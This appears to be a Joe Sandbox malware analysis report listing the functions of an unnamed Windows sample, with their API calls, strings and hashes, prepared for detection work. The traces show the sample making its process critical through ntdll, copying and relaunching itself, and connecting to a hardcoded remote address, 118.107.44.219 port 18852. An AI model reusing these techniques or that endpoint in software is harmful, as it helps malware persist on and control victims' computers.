Part of subcall function 10001170: LoadLibraryW.KERNEL32(ntdll.dll), ref: 1000117B
Part of subcall function 10001170: GetProcAddress.KERNEL32(?,RtlAdjustPrivilege), ref: 1000118D
Part of subcall function 10001170: GetProcAddress.KERNEL32(?,RtlSetProcessIsCritical), ref: 100011A1
Part of subcall function 10001170: GetModuleHandleA.KERNEL32(00000000), ref: 100011FD
Part of subcall function 10001170: RegisterClassW.USER32(?), ref: 10001211
Part of subcall function 10001170: CreateWindowExW.USER32(00000000,ndowClass,indow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 10001236

exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 1001065B

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: CreateThread$AddressProc$ClassCurrentHandleLibraryLoadModuleObjectRegisterSingleWaitWindowexit
String ID:
API String ID: 1070008423-0
Opcode ID: 8fe67e59d9fa8f08b192819371fb0ced37870faed25ae35d93da0e6e918bcc92
Instruction ID: b32196050963cedc899c835c863bf3fa77a81109efd19031f53f5ae39edb479e
Opcode Fuzzy Hash: 8fe67e59d9fa8f08b192819371fb0ced37870faed25ae35d93da0e6e918bcc92
Instruction Fuzzy Hash: 71E026B53C4354BBF265A7E05C8BF4936549B09F42F608650F309BD0E2CAF4B450C62D

Function 1000F330 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1000EE80: RpcStringBindingComposeW.RPCRT4(00000000,100124B8,localhost,100124CC,00000000,10001D8E), ref: 1000EEBE

_swprintf.LIBCMTD ref: 1000F3DC
Sleep.KERNEL32(000003E8), ref: 1000F433
Sleep.KERNEL32(000003E8), ref: 1000F484

Strings

5555555555, xrefs: 1000F3B8

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: Sleep$BindingComposeString_swprintf
String ID: 5555555555
API String ID: 4095827290-304217070
Opcode ID: 1386329a5efce874629472e3114aa71895a9db344373e3eebb5de5ce6721f17b
Instruction ID: fc69ec1e48ae5d690075e784bcaa941b9f802e524bc258fcaffae97851e079c3
Opcode Fuzzy Hash: 1386329a5efce874629472e3114aa71895a9db344373e3eebb5de5ce6721f17b
Instruction Fuzzy Hash: 8B516DB5D00208ABEB14DFD4DC41BEFB7B8EB48340F108118FA05BB686D734AA44DBA1

Function 10010450 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 126
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10010380: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 100103B3

Part of subcall function 10010330: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1001034E

CopyFileA.KERNEL32(00000000,?,00000000), ref: 100105A6
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 100105CC

Strings

open, xrefs: 100105C5
%s\%s, xrefs: 100104B1

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: File$ModuleName$CopyExecuteShell
String ID: %s\%s$open
API String ID: 689381381-538903891
Opcode ID: 830c5ba8e21fc8d3b44d54b6d08c68639795a16e1df432a09aa5f5a78e158d4f
Instruction ID: 9fe97893565a199cb231c8e39f665fc81eb16fc602bb536f2ce1346a8447d072
Opcode Fuzzy Hash: 830c5ba8e21fc8d3b44d54b6d08c68639795a16e1df432a09aa5f5a78e158d4f
Instruction Fuzzy Hash: ED5190B4D04248ABEB14CFA0C891BEEBBB5EF05344F508198F5557B282DB75AB88CB51

Function 1000F080 Relevance: 6.1, APIs: 4, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1000FF70: NdrClientCall2.RPCRT4 ref: 1000FF8F

CoTaskMemFree.OLE32(00000000), ref: 1000F195
CoTaskMemFree.OLE32(00000000), ref: 1000F1A2

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: FreeTask$Call2Client
String ID:
API String ID: 3085621743-0
Opcode ID: 2f53cd99de7b70502dbfb43a252906e75cd8ef5dbbaed62b935777ebfb7fcb6a
Instruction ID: 92fa5dec9f22b8c7c1328a1cbf0c23ece76f2aec65bf6276d958f50508a6dbd7
Opcode Fuzzy Hash: 2f53cd99de7b70502dbfb43a252906e75cd8ef5dbbaed62b935777ebfb7fcb6a
Instruction Fuzzy Hash: EB51F5B4E04209EBEF04CF94C894AEEB7B1FF48344F20815DE815A7748D735AA85EB91

Function 10001600 Relevance: 4.6, APIs: 3, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetKnownFolderPath.SHELL32(10012340,00000000,00000000,00000000), ref: 1000165B
wcstombs.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,00000104), ref: 1000167A
CoTaskMemFree.OLE32(00000000,00000000,?), ref: 100016AE

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: FolderFreeKnownPathTaskwcstombs
String ID:
API String ID: 2577077003-0
Opcode ID: d300af7b25cb6414e2c33b3673a1f19339b002bae4b2470d2ba77c7d2a319cd1
Instruction ID: 5f7cab8de45bcdf2407ecebcb5d22f8ee1252467d95dee99cd854b3eb2a3a61a
Opcode Fuzzy Hash: d300af7b25cb6414e2c33b3673a1f19339b002bae4b2470d2ba77c7d2a319cd1
Instruction Fuzzy Hash: 8B2117B1900219EBEB04DF94CC95BEEBBB4FF08700F108518F615AB295DB75AA44CBD0

Function 1000FF40 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NdrClientCall2.RPCRT4 ref: 1000FF5C

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: Call2Client
String ID:
API String ID: 1775071923-0
Opcode ID: ce7b8f29c0631b2804a26d986689ba3f09b2f6ec28eda86620c8604702a4acd4
Instruction ID: 7492027a281e140068cdac0bb76a9e8e76146da9bd0683f37df95b5dae096a5d
Opcode Fuzzy Hash: ce7b8f29c0631b2804a26d986689ba3f09b2f6ec28eda86620c8604702a4acd4
Instruction Fuzzy Hash: 5ED05EF190100CBBDB05CF88CC42AA977ACE784205F00C069EA0AC6200E931AA904691

Function 1000FF70 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NdrClientCall2.RPCRT4 ref: 1000FF8F

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: Call2Client
String ID:
API String ID: 1775071923-0
Opcode ID: 1bc907cd574dd29b4d3e7ba9f4424db3402ad13f32cce3c6e12345c4effb2575
Instruction ID: 6afe2523060cff6880f9b4da93d12d89cb254fb88d74a93b831ee34bf0bcd51a
Opcode Fuzzy Hash: 1bc907cd574dd29b4d3e7ba9f4424db3402ad13f32cce3c6e12345c4effb2575
Instruction Fuzzy Hash: 69D05EB190000CBBE705CF88CC12AE977ACE785305F00C069EA0A8A240E931AA544691

Function 1000FFB0 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NdrClientCall2.RPCRT4 ref: 1000FFCF

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: Call2Client
String ID:
API String ID: 1775071923-0
Opcode ID: 52255134d6b5ccea6af4de28952c25772812cd8c0d7113a6720df0c67090eddc
Instruction ID: 01a6fe9224db3f7d7e4205a28be5e1d10279d7ad68670d0b988955ce86484041
Opcode Fuzzy Hash: 52255134d6b5ccea6af4de28952c25772812cd8c0d7113a6720df0c67090eddc
Instruction Fuzzy Hash: F2D05EB190100CBBE705CF88CC02AA977ADE784305F00C169FA0A86240E931AE504691

Function 1000FFF0 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NdrClientCall2.RPCRT4 ref: 1001000F

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: Call2Client
String ID:
API String ID: 1775071923-0
Opcode ID: 8713d8677658a6df8795b9ebb9893791690b4409c7e532052509524876d5dd8e
Instruction ID: 940d55c7aea47baa15732b8373ec63bb8ecc0fa7aba131a5eb793c07d5a03037
Opcode Fuzzy Hash: 8713d8677658a6df8795b9ebb9893791690b4409c7e532052509524876d5dd8e
Instruction Fuzzy Hash: 77D05EB290000CBBE705CF88CC02AE977ACE784305F00C069EA0A86240EA31AA504691

Non-executed Functions

Function 10001170 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 87librarywindowloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll), ref: 1000117B
GetProcAddress.KERNEL32(?,RtlAdjustPrivilege), ref: 1000118D
GetProcAddress.KERNEL32(?,RtlSetProcessIsCritical), ref: 100011A1
GetModuleHandleA.KERNEL32(00000000), ref: 100011FD
RegisterClassW.USER32(?), ref: 10001211
CreateWindowExW.USER32(00000000,ndowClass,indow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 10001236
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 10001251
TranslateMessage.USER32(?), ref: 1000125F
DispatchMessageW.USER32(?), ref: 10001269

Strings

ntdll.dll, xrefs: 10001176
RtlSetProcessIsCritical, xrefs: 10001198
indow, xrefs: 1000122B
RtlAdjustPrivilege, xrefs: 10001184
ndowClass, xrefs: 10001206, 10001233

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: Message$AddressProc$ClassCreateDispatchHandleLibraryLoadModuleRegisterTranslateWindow
String ID: RtlAdjustPrivilege$RtlSetProcessIsCritical$indow$ndowClass$ntdll.dll
API String ID: 3658383123-467612925
Opcode ID: 242d59c1bcc2ed5713fb3f605fd77491e9c67476cdc2317376c21f7694c6bbad
Instruction ID: 32e2e5621d63ba41cde31a5517ede96aa96e783cbb1150e0d99a961b1b18e838
Opcode Fuzzy Hash: 242d59c1bcc2ed5713fb3f605fd77491e9c67476cdc2317376c21f7694c6bbad
Instruction Fuzzy Hash: A331F4B4D40218AFEB14DFE5CC89BDDBBB4FF48701F108119F60AAA294D7749690CB10

Function 02861A37 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87windownativethreadCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000), ref: 02861A74
CreateWindowExW.USER32(00000000,1001241C,00000000,50800001,00000014,0000001E,00000159,00000014,00000001,00000065,00000000), ref: 02861A9A
SendMessageW.USER32(100176D4,00000409,00000000,00D77800), ref: 02861ACE
CreateThread.KERNEL32(00000000,00000000,10001B80,?,00000000,00000000), ref: 02861B20
PostQuitMessage.USER32(00000000), ref: 02861B2B
NtdllDefWindowProc_W.NTDLL(00000002,?,?,?), ref: 02861B44

Strings

, xrefs: 02861A5F

Memory Dump Source

Source File: 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UNK_.jbxd

Similarity

API ID: CreateMessageWindow$HandleModuleNtdllPostProc_QuitSendThread
String ID:
API String ID: 4292518056-3916222277
Opcode ID: 92815e4858959fe170ce8b5a77519db06f86c61dccf7134616d8db3801c69204
Instruction ID: cc752dcd52aa9265c7c0a36d6adc18b2905358c888318f77e8925626a8a4a4c9
Opcode Fuzzy Hash: 92815e4858959fe170ce8b5a77519db06f86c61dccf7134616d8db3801c69204
Instruction Fuzzy Hash: 0A3128B8640208FFEB10DF98CC89FAA7BB5EB48705F10C148FA09AB291D770D950CB65

Function 1001124D Relevance: 9.1, APIs: 6, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000001), ref: 10011259
memset.VCRUNTIME140(?,00000000,00000003), ref: 1001127F
memset.VCRUNTIME140(?,00000000,00000050), ref: 10011309
IsDebuggerPresent.KERNEL32 ref: 10011325
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1001133E
UnhandledExceptionFilter.KERNEL32(?), ref: 10011348

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$DebuggerFeatureProcessor
String ID:
API String ID: 1045392073-0
Opcode ID: 16eea3db4395ea0ceff495b684aed5e6782a3178d032496c99d6345cf79e782e
Instruction ID: 9c1a1b5f42fc978b2ff8cf04cdab4bc874b060df06568115b329f45e6489fc23
Opcode Fuzzy Hash: 16eea3db4395ea0ceff495b684aed5e6782a3178d032496c99d6345cf79e782e
Instruction Fuzzy Hash: 3431E7B5D01228DADB11DFA4D9897CDBBB8FF08700F1041AAE40CAB250EB719B84CF45

Function 0286EE57 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

RpcStringBindingComposeW.RPCRT4(00000000,100124B8,100124E4,100124CC,00000000,02861D65), ref: 0286EE95
RpcBindingFromStringBindingW.RPCRT4(02861D65,00000000), ref: 0286EEB0
RpcBindingSetAuthInfoExA.RPCRT4(00000000,00000000,00000006,0000000A,00000000,00000000,00000001), ref: 0286EEE7
RpcStringFreeW.RPCRT4(02861D65), ref: 0286EEF1

Memory Dump Source

Source File: 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UNK_.jbxd

Similarity

API ID: Binding$String$AuthComposeFreeFromInfo
String ID:
API String ID: 1126441048-0
Opcode ID: c91bc88c3a7059766f5b07bc0c43bf0a72e79487a92db334c44e55e67c91127a
Instruction ID: ae46d6974ea60b10b24dce4f842b24a2ed8d0120ca92f721577ae9fb52ee315a
Opcode Fuzzy Hash: c91bc88c3a7059766f5b07bc0c43bf0a72e79487a92db334c44e55e67c91127a
Instruction Fuzzy Hash: CD11DAB5D00219BFEB14CFE4C989BEEBBB4FB08704F108559E605B7280D7B59A54CBA0

Function 100113E9 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000001), ref: 100113FB
GetCurrentThreadId.KERNEL32 ref: 1001140A
GetCurrentProcessId.KERNEL32 ref: 10011413
QueryPerformanceCounter.KERNEL32(?), ref: 10011420

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: f86ba159a5725a827743bc82e35b82d2db29b328119a317c3cdfdebdb067eff7
Instruction ID: 0a3c688fa97bd66b33bde44f19f6c44622bf0dc03c57f15caf060906c92fb81b
Opcode Fuzzy Hash: f86ba159a5725a827743bc82e35b82d2db29b328119a317c3cdfdebdb067eff7
Instruction Fuzzy Hash: 45F062B4D1021DEBDB05DBB4CA8999EBBF4FF1D200B918696E412E7111E730EB64DB50

Function 02871521 Relevance: 6.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 02871526
UnhandledExceptionFilter.KERNEL32(?), ref: 0287152F
GetCurrentProcess.KERNEL32(C0000409), ref: 0287153A
TerminateProcess.KERNEL32(00000000), ref: 02871541

Memory Dump Source

Source File: 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UNK_.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 0d7c60a2ef05bffbce595573e6e262163d78959232fdd7494e8d52d076cdfd15
Instruction ID: 4980016af1f69655e72f99868af42ae204db573405a571edd3281e81c481927a
Opcode Fuzzy Hash: 0d7c60a2ef05bffbce595573e6e262163d78959232fdd7494e8d52d076cdfd15
Instruction Fuzzy Hash: F6D012B1000114ABE7022FF0DD4CB593F29FB0C202F058200F30981022CB32D422CF51

Function 02871520 Relevance: 6.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 02871526
UnhandledExceptionFilter.KERNEL32(?), ref: 0287152F
GetCurrentProcess.KERNEL32(C0000409), ref: 0287153A
TerminateProcess.KERNEL32(00000000), ref: 02871541

Memory Dump Source

Source File: 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UNK_.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: b06f1e73e4fc9b3e9c8109c654ce749b3bdcd294ed5a62abbbf62953f21e2e11
Instruction ID: c91bca8abe4cc31a3593bf64d34d242ed6c9426ffac9acabdf0b694d2cdf9089
Opcode Fuzzy Hash: b06f1e73e4fc9b3e9c8109c654ce749b3bdcd294ed5a62abbbf62953f21e2e11
Instruction Fuzzy Hash: A4D0C9B1044114AFEB025BF0AD8CAAD3F25FB0C202F058304F34A81462C6728422CF11

Function 02870EE7 Relevance: 1.7, APIs: 1, Instructions: 242COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 02870EFD

Memory Dump Source

Source File: 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UNK_.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: e10a114a485f4d5e76f2123a624d2e1dd2d0fbf69899314706d994fee8950484
Instruction ID: d98202a22532f577ecb4645af019a0a68f0e8506740e40155c68da1d17d8fa4f
Opcode Fuzzy Hash: e10a114a485f4d5e76f2123a624d2e1dd2d0fbf69899314706d994fee8950484
Instruction Fuzzy Hash: 9EA149B9A10715CBEB1ACF58C8C579ABBB1FB48324F24C52AE429EB6A0D334D540CF50

Function 10010F10 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 10010F26

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: e10a114a485f4d5e76f2123a624d2e1dd2d0fbf69899314706d994fee8950484
Instruction ID: 2823fa2859f74bead7cb2a3ff5e24ff6c926bc6ae68a0f7e2a3c8df160a01c34
Opcode Fuzzy Hash: e10a114a485f4d5e76f2123a624d2e1dd2d0fbf69899314706d994fee8950484
Instruction Fuzzy Hash: EBA1F7B1E11715CBEB1ACF54C8C169ABBF1FB48364F15C52AE819EB290D374DA808B90

Function 02861087 Relevance: 1.6, APIs: 1, Instructions: 74nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(00000011,?,?,?), ref: 02861135

Memory Dump Source

Source File: 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UNK_.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 107021637aa96cc5c1bd2a280f74957b00f7bc018f5350d6d5e6892ae08a1c1a
Instruction ID: 856db20c47a496988a0d8a66210a93f0feb4fdd4e401a7462383dea50b9fbc9a
Opcode Fuzzy Hash: 107021637aa96cc5c1bd2a280f74957b00f7bc018f5350d6d5e6892ae08a1c1a
Instruction Fuzzy Hash: B621EB78A44209AFEB14CF94CC8ABFD7775EB48701F109059FA1AAA2D1D7B09540CB51

Function 02860AE4 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bb5c1b61b7b98cbc056ea8f67b9a8ca7ef086e949689a6f228cbbfb2ff37ba7
Instruction ID: 634bfd2156d84de619274b3c3120b2bc194c5d1f1ca33c58dade77456779207e
Opcode Fuzzy Hash: 9bb5c1b61b7b98cbc056ea8f67b9a8ca7ef086e949689a6f228cbbfb2ff37ba7
Instruction Fuzzy Hash: 2131AA7AA0834B8FC310DF18C48092AB3E5FF89218F1A496DE985D7312E330F959CB95

Function 100100C0 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 163networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 100100E3
getaddrinfo.WS2_32(118.107.44.219,18852,?,00000000), ref: 1001012A
WSACleanup.WS2_32 ref: 10010139
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10010141
socket.WS2_32(?,?,?), ref: 10010182
WSACleanup.WS2_32 ref: 10010196
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 1001019E

Strings

118.107.44.219, xrefs: 10010125
18852, xrefs: 10010120

Memory Dump Source

Source File: 00000001.00000002.1781648815.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1781607446.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781825804.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1781861555.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_UNK_.jbxd

Similarity

API ID: Cleanupexit$Startupgetaddrinfosocket
String ID: 118.107.44.219$18852
API String ID: 2357443324-3001398927
Opcode ID: 629c58ebb369c9a4567a25f7efc7421930806d5ddf401b53f73b529e587ce57b
Instruction ID: 5d8dd8f7e503384157f0d0037aa173dfcecf3f6c77ed8d91bfff33004e817cc6
